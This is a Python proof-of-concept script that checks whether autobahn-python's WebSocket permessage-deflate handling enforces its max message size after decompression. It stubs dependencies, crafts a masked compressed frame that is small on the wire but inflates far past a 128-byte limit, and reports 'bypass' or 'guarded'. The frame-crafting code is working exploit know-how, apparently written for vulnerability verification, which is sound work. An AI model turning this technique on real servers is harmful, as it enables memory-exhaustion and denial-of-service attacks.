import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)